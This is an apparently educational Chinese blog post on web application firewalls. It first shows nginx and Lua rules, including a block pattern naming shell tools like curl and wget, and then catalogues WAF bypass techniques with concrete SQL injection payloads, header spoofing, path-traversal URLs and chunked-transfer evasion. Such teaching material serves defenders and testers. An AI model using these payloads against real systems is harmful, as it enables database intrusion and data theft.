- 绿冰壶QAQ - WAF攻与防:自定义WAF规则与WAF绕过">绿冰壶QAQ - WAF攻与防:自定义WAF规则与WAF绕过
- 后记
- 参考文章(我觉得都挺好的,值得看看)
- PHITH0N - ngx_lua_waf针对性改写">15.04.06-PHITH0N - ngx_lua_waf针对性改写
- 落叶纷飞 - 利用分块传输吊打所有WAF">19.01.18-落叶纷飞 - 利用分块传输吊打所有WAF
- saucer-man - 利用分块传输协议绕waf">19.03.22-saucer-man - 利用分块传输协议绕waf
- 努力奋斗的小青年 - waf绕过详解">19.04.13-努力奋斗的小青年 - waf绕过详解
- lefooter - 绿盟WEB防火墙(waf)规则编写">20.04.07-lefooter - 绿盟WEB防火墙(waf)规则编写
- chengfangang - 互联网公司WAF系统设计">21.09.22-chengfangang - 互联网公司WAF系统设计
绿冰壶QAQ - WAF攻与防:自定义WAF规则与WAF绕过
初窥WAF攻防之道
WAF的核心原理是正则表达式,针对攻击行为的拦截也是要先定义各种攻击payload,然后针对该payload添加拦截规则。
前言
攻击者(黑客)通过各种技术手段绕过WAF防护从而对目标进行攻击,防守方,通过查看WAF日志等方式,了解最新的攻击方式,从而针对性的编写新的WAF规则实施防护。攻防双方就在这互相“攻伐”过程中,不断丰富我们WAF攻防的内容,今天,我们来同时扮演双方的角色,以全局的视角深入理解一下WAF攻防。
先有矛还是先有盾?
先有矛还是先有盾?这个自古以来充满争议的问题,在WAF攻防这里,却没有任何异议。先用WAF 才能有WAF绕过,因此我们的学习,也先从防守方:编写自定义的WAF规则开始。
防守|针对不同的漏洞编写不同的WAF规则
基础知识:WAF主要检测的12个变量
想要学习WAF自定义规则编写,除了掌握正则表达式的编写,还要知道 绕过WAF的数据主要从哪来?这就要求我们了解WAF主要检测的十二个变量。
字段 | 例据 |
---|---|
URL | http://10.67.8.118:8889/abc/shell.php |
URL-path | /abc/shell.php |
Host | 10.67.8.118:8889 |
Parameter-name | id(id=123) |
Parameter | 123 |
Header-name | Accept-Encoding(举例) |
Header | gzip,deflate |
Cookie-name | id(id=1) |
Cookie | 1 |
Version | 1.1(HTTP/1.1) |
Method | POST |
Request-Body | id=123 |
URL
在WWW上,每一信息资源都有统一的且在网上唯一的地址,该地址就叫URL(Uniform Resource Locator,统一资源定位器),它是WWW的统一资源定位标志,就是指网络地址。url主要包括协议、认证、地址、端口、路径、参数、标识符等,如下是一张url的标志图:
URL-Path
Host
Parameter-name
Parameter
Header-name
header
cookie-name
cookie
version
Method
Request-Body
WAF自定义基础|通过nginx配置文件抵御攻击
验证浏览器行为
简单做一个比喻。当前疫情紧张时期,假如某个地区因疫情物资紧张,居民采购蔬菜被限量。而有些贪心的人,派了一堆歪果仁(没有国籍不享受政策)来冒领蔬菜。怎么防止这种事情呢?工作人员在发蔬菜之前,会给领取者一张纸,上面写着“天王盖地虎”,如果那人能念出纸上的字,那么就是享受政策的人,给红包,如果你不能念出来,那么请自觉离开。
是的,在这个比喻中,居民就是浏览器,歪果仁就是攻击器,我们可以通过鉴别cookie功能(念纸上的字)的方式来鉴别他们。
下面是通过nginx配置cookie鉴别功能的代码:
if($cookie_say != "twgdh")
{
add_header Set-Cookie
"say=hbnl"
;
rewrite .*
"$scheme://$host$uri"
redirect;
}
让我们看下这几行的意思,当cookie中say为空时,给一个设置cookie say为twgdh的302重定向包,如果访问者能够在第二个包中携带上cookie值,那么就能正常访问网站了,如果不能的话,那他就只能永远活在302中。
那假如贪心的人 发现了规律,他们发给每个歪果仁一个录音笔,重复播放”天王盖地虎,天王盖地虎“此时我们怎么办呢?
这时,工作人员的对策是这样做的,要求领取者出示有自己名字的户口本,并且念出自己的名字,“我是xxx,天王盖地虎”。于是一群只会嗡嗡叫着“天王盖地虎”的歪果仁又被撵回去了。
if ($cookie_say != "twhdjl$remote_addr")
{
add_header Set-Cookie
"say=twgdh$remote_addr";
rewrite .*
"$scheme://$host$uri"
redirect;
}
这样的写法和前面的区别是,不同IP的请求cookie值是不一样的,比如IP是1.2.3.4,那么需要设置的cookie是say=twgdh1.2.3.4。于是攻击者便无法通过设置一样的cookie(比如CC攻击器)来绕过这种限制。
然而这似乎也不是一个万全之计,因为攻击者如果研究了网站的机制之后,总有办法测出并预先伪造cookie值的设置方法。因为我们做差异化的数据源正是他们本身的一些信息(IP、user agent等)。攻击者花点时间也是可以做出专门针对网站的攻击脚本的。那么我们就没有对策了吗?
那么要如何根据他们自身的信息得出他们又得出他们算不出的数值?答案是用salt加散列。例如md5(“opencdn$remote_addr”),虽然攻击者知道可以自己IP,但是他无法得知如何用他的IP来计算出这个散列(md5不可逆)。
rewrite_by_lua '
local
say = ngx.md5(
"opencdn"
.. ngx.var.remote_addr)
if
(ngx.var.cookie_say ~= say)
then
ngx.header[
"Set-Cookie"
] =
"say="
.. say
return
ngx.redirect(ngx.var.scheme ..
"://"
.. ngx.var.host .. ngx.var.uri)
end
通过这样的配置,攻击者便无法事先计算这个cookie中的say值,于是攻击流量(代理型CC和低级发包型CC)便在302地狱无法自拔了。
防扫描
前人总结的知识结晶已经很完善了,可以直接用loveshell/ngx_lua_waf来做防护。
自定义WAF规则预防常见攻击
防止sql注入
利用WAF防止sql注入可以通过过滤sql注入所需要的关键字,例如union select等来进行:
#==Block SQL Injections
set $block_sql_injections 0;
if ($query_string ~ "(=.*--)|(w+(%|$|#|&)w+)|(.*||.*)|(s+(and|or)s+)|(b(select|update|union|and|or|delete|insert|trancate|char|into|substr|ascii|declare|exec|count|master|into|drop|execute)b)")
{
set $block_sql_injections 1;
}
if ( $block_sql_injections = 1)
{
return 403;
}
防止xss攻击
通过过滤插入xss标签的常用标点符号进行防护:
set $block_xss 0;
if ($query_string ~ "(~|{|}|"|'|<|>|?)")
{
set $block_xss 1;
}
if ( $block_xss = 1)
{
return 403;
}
防止ssrf
防止rce
借鉴了 常做的ctf题目的思路,还使用了通配符防止简单绕过
set $block_rce 0;
if ($query_string ~ "/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i")
{
set $block_rce 1;
}
if ( $block_rce = 1)
{
return 403;
}
攻击|各种姿势绕过WAF
绕过WAF主要利用的是三方面的特性 ,服务器特性,应用层特性,WAF层特性。
利用服务器特性绕waf
%特性(ASP+IIS)
在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来 的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。
PS:此处猜测可能是iis下asp.dll解析时候的问题,aspx+iis的环境就没有这个特性。
%u特性(asp+iis和aspx+iis)
Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的 s%u006c%u0006ect ,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是 s%u006c%u0006ect,这样就会形成bypass的可能。
另类%u特性(ASP+IIS)
该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有 可能转换为同一个字符。
如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为 e:
s%u0065lect->select s%u00f0lect->select
WAF层可能能识别s%u0065lect的形式,但是很有可能识别不了s%u00f0lect的形式。这样就可以利用起来做WAF的绕过。
apache畸形method
在GET请求中,GET可以替换为任意参数名字,不影响apahce接收参数id=1:
TEST /sql.php?id=1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
利用应用层特性绕WAF
大小写转换
使用简单,但是效果不好。如:
and 1=2 可以使其变为 AnD 1=2
*注释
使用简单,效果一般:
union select 1,2,3,4, from admin
注释完的效果
/**/union/**/select/**/1,2,3,4 from admin
/**/un/**/io/**/n/**/sel/**/ec/**/t/**/1,2,3,4 from admin
*!注释
效果显著。此处感叹号为”非”的意思,意思是感叹号后面的不注释:
/*!and*/ 1=2
%url编码
/=%2f*==%2a%=%25
/**/==%252f%252a*/
使用空字节
一些过滤器在处理输入时,如果碰到空字节就会停止处理
我们通常也会利用空字节进行绕过过滤器。如:
id=1 %00 and 1=2
利用嵌套剥离
有些过滤器会从用户的输入中进行剥离一些敏感的函数。
那我们可以通过函数的嵌套进行绕过一次剥离:selselectect剥离后为select 。
宽字节
union = uю%69яю这里把i不用宽字节 直接url编码 其他的字符都用对应的宽字节
select = こхlх%уt //t不编码 其他的都宽字节 中间插上%
from = цR%яэ //宽字节+%
空格=%20=%ва //в是2的款字符 а是0的宽字符
, = Ь //,号的宽字节
参数污染
通常在一个请求中,同样名称的参数只会出现一次。但是在HTTP协议中是允许同样名称的参数出现多次的。针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样:
例如针对sql注入的测试:
$sql = "select * from admin where id=1";
$sql=$sql."".$_POST['bbs'];
echo $sql;
$pattern='/^.*union.*$/';
if(preg_match($pattern, $sql))
{
echo "注入测试";
}
在特定情况下 可以绕过一些WAF
bbs=u&bbs=n&bbs=i&bbs=o&bbs=n&bbs=select 1,user(),3
应用层组合拳绕过waf
替换法+URL编码
例:先判断注入点,把and为&&,urlencode后为%26%26
http://192.168.60.68/sql.php?id=1%20%26%26%20-1=-2
同样的,替换法可以和其他方法组合使用。例如:注释+替换法、内联注释+替换法:
- 利用()代替空格
- 利用mysql特性/!/执行语句
- 利用//混淆代码**
我给出的注入语句是:
union/%00//!50010select/(database//()),(user//())%23 (50010代表数据库版本)
这里要注意的几点是:
- mysql关键字中是不能插入//的,即se//lect是会报错的,但是函数名和括号之间是可以加上//的,像database//()这样的代码是可以执行的
- /!/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
- 数据或者函数周围可以无限嵌套()
- 利用好%00 user())
利用WAF层特性绕WAF
逻辑问题
- 云WAF防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。
- 当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。
- HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。
- 特殊符号%00,部分WAF遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。
比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns
性能问题
第一种情况:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数 据,当数据达到一定数目之后,恶意代码就不会被检测了:
?a0=0&a1=1&.....&a100=100&id=1 union select 1,schema_name,3 from
INFORMATION_SCHEMA.schemata
备注:获取请求参数,只获取前100个参数,第101个参数并没有获取到,导致SQL注入绕过。
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9
第二种情况:不少WAF是C语言写的,而C语言自身没有缓冲区保护机制,因此如果WAF在处理测试向量时超出了其缓冲区 长度就会引发bug,从而实现绕过。
PS:0xA*1000指0xA后面”A”重复1000次,一般来说对应用软件构成缓冲区溢出都需要较大的测试长度,这里1000只做参考也许在有些情况下可能不需要这么长也能溢出
第三种情况:多次重复提交同一个请求,有些通过了WAF,有些被WAF所拦截了,应该性能问题导致部分请求bypass。这种情况 多次访问就完事了
白名单
白名单分好多种,原理大同小异。这里展示两种
IP白名单
从网络层获取的ip,这种一般伪造不来,如果是应用层的获取的IP,这样就可能存在伪造白名单IP造成bypass。
测试方法:修改http的header来bypass waf。
以下是常用的header头:
- X-forwarded-for
- X-remote-IP
- X-originating-IP
- x-remote-addr
- X-Real-ip
url白名单
为了防止误拦,部分WAF内置默认的白名单列表,如admin/manager/system等管理后台。
只要url中存在白名单的字 符串,就作为白名单不进行检测。常见的url构造姿势:
- http://10.9.9.201/sql.php/1.js?id=1
- http://10.9.9.201/sql.php/admin.php?id=1
- http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
- http://10.9.9.201/../../../manage/../sql.asp?id=2
分块传输绕过WAF
为啥把它单拎出来讲?确实太强大了qaq前置知识:关于分块编码传输
在通过http传输文件的时候,通常会有一个Content-Length用来指定文件的长度,比如传输图片,静态页面,客户端也以Content-Length作为接收内容结束的标志,接收完毕后就可以断开连接了。但是有时候发送方并不能确定内容的长度,造成的影响就是:接收方无法通过Content-Length得到报文体的长度,也就无法得知什么时候应该中断连接。
为此我们需要一个新的机制:不依赖头部的长度信息,也能知道实体的边界。
HTTP 1.1引入了分块传输编码的方式。只要在header头部加入Transfer-Encoding: chunked,就代表这个报文采用了分块编码。此时不用指定Content-Length接收方也可以知道什么时候传输结束了,只需要约定一个信号即可,比如,接收方只要接收到一个长度为0内容为0的分块,则代表传输完毕。分块传输实例理解
向本地post一个数据包,为id=123455:
可以实验一下,如果关闭burp在repeater选项里面自带的content-length补全功能,然后去掉Content-Length,就无法接收到id:
接下来我们将其改为分块传输的方式:
通过上图可以看到,即使没有Content-Length,我们也可以采用分块传输的方式,分多少块,每块多大都不是唯一的,但是最后的结尾需要一个长度为0内容为空的块(内容为两个空行)。利用分块传输绕过WAF
当我们将传输的内容分块时,处理后的HTTP请求由于和已知的payload相差较大,所以可以起到一定的绕过WAF的效果。
比如我们来试试安全狗:
但是有一些如Imperva的,360等比较好的WAF已经对传输编码的分块传输做了处理,可以把分块组合成完整的HTTP数据包,这时直接使用常规的分块传输方法尝试绕过的话,会被WAF直接识别并阻断。
这个时候我们可以在每个分块长度标识处加上分号“;”作为注释,如下所示:
在分块数据包中加入注释的话,WAF就识别不出这个数据包了。
分块传输在绕WAF方面功能强大,具体可以看《利用分块传输吊打所有WAF》。后记
浅学了一波WAF攻与防,初入门径,便感心力交瘁….
知识真是浩渺如烟海,越学越感到自己的菜是不可弥补的。世界永远在拷打着我的无知。
继续努力吧,路漫漫而修远兮。越学习,学习的目的越转变,原来学习是为了有一天证明给世界看我很强。现在明白了对于世界来说,自己无知这件事是不可弥补的。现在学习的目的便是获取自我成长的愉悦了,不过不管怎么说,能在自己感兴趣的领域学到知识本身就是一件很快乐的事情呢,享受这份简单的快乐就好。
现在是凌晨两点,世界,不晚安。参考文章(我觉得都挺好的,值得看看)
15.04.06-PHITH0N - ngx_lua_waf针对性改写
19.01.18-落叶纷飞 - 利用分块传输吊打所有WAF
19.03.22-saucer-man - 利用分块传输协议绕waf
19.04.13-努力奋斗的小青年 - waf绕过详解
20.04.07-lefooter - 绿盟WEB防火墙(waf)规则编写
21.09.22-chengfangang - 互联网公司WAF系统设计